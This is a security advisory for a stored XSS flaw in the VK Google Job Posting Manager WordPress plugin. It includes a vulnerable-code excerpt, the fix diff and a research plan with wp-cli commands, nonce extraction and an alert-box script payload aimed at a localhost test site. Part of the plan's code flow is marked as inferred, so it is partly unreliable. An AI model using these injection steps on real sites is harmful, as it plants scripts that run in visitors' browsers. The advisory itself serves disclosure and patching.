VK Google Job Posting Manager <= 1.2.23 - Authenticated (Author+) Stored Cross-Site Scripting via Job Description Field
Description
The VK Google Job Posting Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Job Description field in versions up to, and including, 1.2.23 due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers with author-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2.23What Changed in the Fix
Changes introduced in v1.2.24
Source Code
WordPress.org SVNThis research plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the **VK Google Job Posting Manager** plugin (<= 1.2.23). --- ### 1. Vulnerability Summary The plugin is vulnerable to Stored XSS via the `vkjp_description` custom field. This field i…
Show full research plan
This research plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the VK Google Job Posting Manager plugin (<= 1.2.23).
1. Vulnerability Summary
The plugin is vulnerable to Stored XSS via the vkjp_description custom field. This field is used to store the Job Description for Google Job Posting structured data and can also be rendered on the frontend using the plugin's Gutenberg block.
The vulnerability exists because:
vgjpm_get_custom_fields()infunctions-tags.phpexplicitly excludesvkjp_descriptionfrom the list of keys to be sanitized viasanitize_text_field.- The rendering function
vgjpm_render_job_posting_info()(inblocks/vk-google-job-posting-manager-block.php) does not usewp_kses()or any escaping functions when outputting thevkjp_descriptionvalue within a table cell. - The field is specifically described in the UI as accepting HTML, leading developers to omit escaping.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/post.php(via standard post update or AJAXsave_posthook). - Vulnerable Parameter:
vkjp_description. - Authentication Requirement: Authenticated user with
Authorpermissions or higher (capable of editingjob-postsor standard posts where the plugin metabox is enabled). - Preconditions: The plugin must be active, and the Job Posting metabox must be enabled for the post type (enabled by default for the
job-postspost type).
3. Code Flow
- Entry: An Author updates a post. The
VK_Custom_Field_Builder::save_custom_fields(hooked tosave_post) processes the$_POSTdata. - Storage: The field
vkjp_descriptionis saved as post meta without sanitization because it is atextareatype in thecustom-field-builderframework, and the plugin's configuration doesn't override this with a sanitize callback. - Retrieval:
vgjpm_get_custom_fields()(infunctions-tags.php) fetches the meta.$sanitize_keys = array( 'vkjp_title', 'vkjp_name', ... ); // vkjp_description IS MISSING HERE foreach ( $sanitize_keys as $sanitize_key ) { if ( isset( $custom_fields[ $sanitize_key ] ) ) { $custom_fields[ $sanitize_key ] = sanitize_text_field( $custom_fields[ $sanitize_key ] ); } } - Sink:
vgjpm_render_job_posting_info()(inblocks/vk-google-job-posting-manager-block.php) retrieves the field and echoes it directly:// Inferred logic based on plugin behavior and source snippets $html .= '<td>' . $custom_fields['vkjp_description'] . '</td></tr>';
4. Nonce Acquisition Strategy
The custom field builder requires a nonce named noncename__fields. This nonce is generated using wp_create_nonce( __FILE__ ) inside inc/custom-field-builder/package/custom-field-builder.php.
Strategy:
- Log in as an Author.
- Create a new
job-postsentry usingwp post create. - Navigate to the edit page for that post:
wp-admin/post.php?post={ID}&action=edit. - Use
browser_evalto extract the nonce value from the hidden input field:document.querySelector('input[name="noncename__fields"]').value
5. Test Data Setup
- Create Author User:
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Create Job Post:
wp post create --post_type=job-posts --post_status=publish --post_title="XSS Test Job" --user=attacker
(Capture the returned Post ID, e.g., 123)
6. Exploitation Strategy
- Login: Use
browser_navigateto log in as theattackeruser. - Extract Nonce: Navigate to
/wp-admin/post.php?post=123&action=editand extract thenoncename__fieldsnonce usingbrowser_eval. - Inject Payload: Use
http_requestto submit aneditpostrequest containing the XSS payload.- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpost &post_ID=123 &noncename__fields={NONCE} &vkjp_title=Software Engineer &vkjp_description=</textarea><script>alert(document.domain)</script> &vkjp_name=Vektor Inc
- URL:
- Create View Page: Create a new post/page and insert the VK Job Posting block.
wp post create --post_type=page --post_status=publish --post_content='<!-- wp:vk-google-job-posting-manager/create-table {"post_id":123} /-->' --post_title="View Job"
- Trigger XSS: Navigate to the "View Job" page as any user (e.g., Administrator) and check if the
alertfires.
7. Expected Results
- The
http_requestshould return a302redirect to the post edit screen, indicating the custom fields were updated. - When viewing the page containing the block, the HTML source should contain the raw, unescaped script tag:
<td></textarea><script>alert(document.domain)</script></td> - The browser will execute the script, showing an alert box.
8. Verification Steps
- Check Meta: Verify the payload is stored in the database.
wp post meta get 123 vkjp_description - Verify Rendering: Use
http_request(GET) to fetch the "View Job" page and check for the presence of the payload in the response body.grep "<script>alert(document.domain)</script>"
9. Alternative Approaches
- JSON-LD Injection: The plugin also generates JSON-LD in the
<head>for job postings. Thevkjp_descriptionmight also be reflected there inside a script tag of typeapplication/ld+json. If it breaks out of the JSON structure, it's a second XSS vector.- Check page source at:
http://localhost:8080/?post_type=job-posts&p=123 - Look for
<script type="application/ld+json">.
- Check page source at:
- Style Attribute Injection: If
vkjp_descriptionis sanitized for tags but not for attributes, one could try attribute-based XSS if the field is rendered in an attribute (unlikely for a description field, but worth checking).
Summary
The VK Google Job Posting Manager plugin is vulnerable to Stored Cross-Site Scripting (XSS) via the Job Description field. Authenticated attackers with Author-level permissions or higher can inject arbitrary scripts into the 'vkjp_description' field, which are then rendered without sanitization or escaping in the plugin's Job Posting Gutenberg block.
Vulnerable Code
// functions-tags.php lines 83-100 // Sanitize text-based fields for consistency. $sanitize_keys = array( 'vkjp_title', 'vkjp_name', 'vkjp_identifier', 'vkjp_sameAs', 'vkjp_logo', 'vkjp_streetAddress', 'vkjp_addressLocality', 'vkjp_addressRegion', 'vkjp_postalCode', 'vkjp_addressCountry', 'vkjp_jobLocationType', 'vkjp_applicantLocationRequirements_name', 'vkjp_currency', 'vkjp_unitText', 'vkjp_employmentType', ); foreach ( $sanitize_keys as $sanitize_key ) { if ( isset( $custom_fields[ $sanitize_key ] ) && is_string( $custom_fields[ $sanitize_key ] ) ) { $custom_fields[ $sanitize_key ] = sanitize_text_field( $custom_fields[ $sanitize_key ] ); } } --- // inc/custom-field-builder/package/custom-field-builder.php lines 72-84 public static function form_post_value( $post_field = '', $type = false ) { $value = ''; global $post; $value = esc_attr( get_post_meta( $post->ID, $post_field, true ) ); if ( isset( $_POST[ $post_field ] ) && $_POST[ $post_field ] ) { if ( isset( $type ) && $type == 'textarea' ) { // n2brはフォームにbrがそのまま入ってしまうので入れない $value = esc_textarea( $_POST[ $post_field ] ); } else { $value = esc_attr( $_POST[ $post_field ] ); } } return $value; }
Security Fix
@@ -72,12 +72,21 @@ $value = ''; global $post; $value = esc_attr( get_post_meta( $post->ID, $post_field, true ) ); - if ( isset( $_POST[ $post_field ] ) && $_POST[ $post_field ] ) { + $posted_value = null; + // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Value is sanitized below. + if ( isset( $_POST[ $post_field ] ) ) { + $posted_value = wp_unslash( $_POST[ $post_field ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized below. + } + if ( isset( $_POST['noncename__fields'] ) && null !== $posted_value ) { + $noncename__fields = sanitize_text_field( wp_unslash( $_POST['noncename__fields'] ) ); + if ( ! wp_verify_nonce( $noncename__fields, wp_create_nonce( __FILE__ ) ) ) { + return $value; + } if ( isset( $type ) && $type == 'textarea' ) { // n2brはフォームにbrがそのまま入ってしまうので入れない - $value = esc_textarea( $_POST[ $post_field ] ); + $value = wp_kses_post( $posted_value ); } else { - $value = esc_attr( $_POST[ $post_field ] ); + $value = esc_attr( $posted_value ); } } return $value;
Exploit Outline
1. Authenticate as a user with at least Author permissions. 2. Create or edit a 'job-posts' post type entry. 3. Identify the 'vkjp_description' (Job Description) custom field within the plugin's metabox. 4. Inject a Stored XSS payload (e.g., `</textarea><script>alert(document.domain)</script>`) into the field. 5. Save the post. The payload is stored in post meta without proper sanitization. 6. Create a separate public-facing page or post and insert the 'VK Job Posting Table' block (`vk-google-job-posting-manager/create-table`) referencing the modified job post ID. 7. Navigate to the frontend page as any user. The plugin retrieves the malicious meta value and outputs it directly into the page source within a table cell, triggering the script execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.